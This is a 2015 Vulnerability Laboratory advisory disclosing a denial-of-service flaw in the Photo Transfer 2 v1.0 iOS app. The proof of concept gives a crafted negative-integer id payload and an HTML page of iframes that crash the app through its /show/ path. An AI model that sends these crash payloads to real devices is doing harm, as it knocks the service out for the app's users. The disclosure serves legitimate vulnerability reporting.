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Document Title:
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===============
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Photo Transfer (2) v1.0 iOS - Denial of Service Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1580
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Release Date:
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=============
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2015-08-20
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1580
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Common Vulnerability Scoring System:
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====================================
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3.4
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Product & Service Introduction:
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===============================
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Photo Transfer 2 is the easiest and fastest way to transfer photos (videos) from Camera Roll to computer or other iOS devices, and vice versa.
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No need for USB cable, iTunes or extra equipment!
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(Copy of the Vendor Homepage: https://itunes.apple.com/app/id1005399058 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered a remote denial of service vulnerability in the official Photo Transfer 2 - v1.0 iOS mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2015-07-27: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Arvin Brook
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Product: Photo Transfer 2 - iOS Mobile Web Application 1.0
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Technical Details & Description:
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================================
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A remote denial of service vulnerability has been discovered in the official Photo Transfer 2 - v1.0 iOS mobile web-application.
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The issue allows local attackers to crash or shutdown the software client by usage of special crafted payloads.
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The vulnerability is located in the id value restriction of show module path context. Remote attacker can easily crash the application
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remotly by including wrong and large id context in integer format. The attack vector is client-side and the request method to provoke
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the mobile app crash is GET. The handling of the id path gets confused on negative integer values which results in a permanent app shutdown.
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The security risk of the denial of service vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
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Exploitation of the DoS vulnerability requires no privilege application user account or low user interaction. Successful exploitation of the
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vulnerability results in an application crash or permanent app service shutdown.
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Vulnerable Module(s):
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[+] ../show/
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Vulnerable Parameter(s):
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[+] id
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Proof of Concept (PoC):
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=======================
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The remote denial of service web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
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For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
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Standard URL:
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http://localhost:3030/show/5
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PoC: Payload (Input to show Parameter)
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-9999999999999999999'
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PoC URL:
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http://localhost:3030/show/-9999999999999999999'
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PoC: Exploit
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<html>
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<head><body>
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<title>Photo Transfer 2 - remote Denial of Service Vulnerability</title>
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<iframe src=http://localhost:3030/show/-9999999999999999999'>
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<iframe src=http://localhost:3030/show/-1111111111111111111'>
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<iframe src=http://localhost:3030/show/-0000000000000000000'>
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</body></head>
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<html>
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Security Risk:
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==============
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The security risk of the remote denial of service vulnerability in the photo transfer 2 mobile app v1.0 is estimated as medium. (CVSS 3.4)
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
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or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
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in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
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or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
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consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
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policies, deface websites, hack into databases or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
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Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
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Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
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electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
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Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
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is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
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Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY - RESEARCH TEAM
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SERVICE: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com
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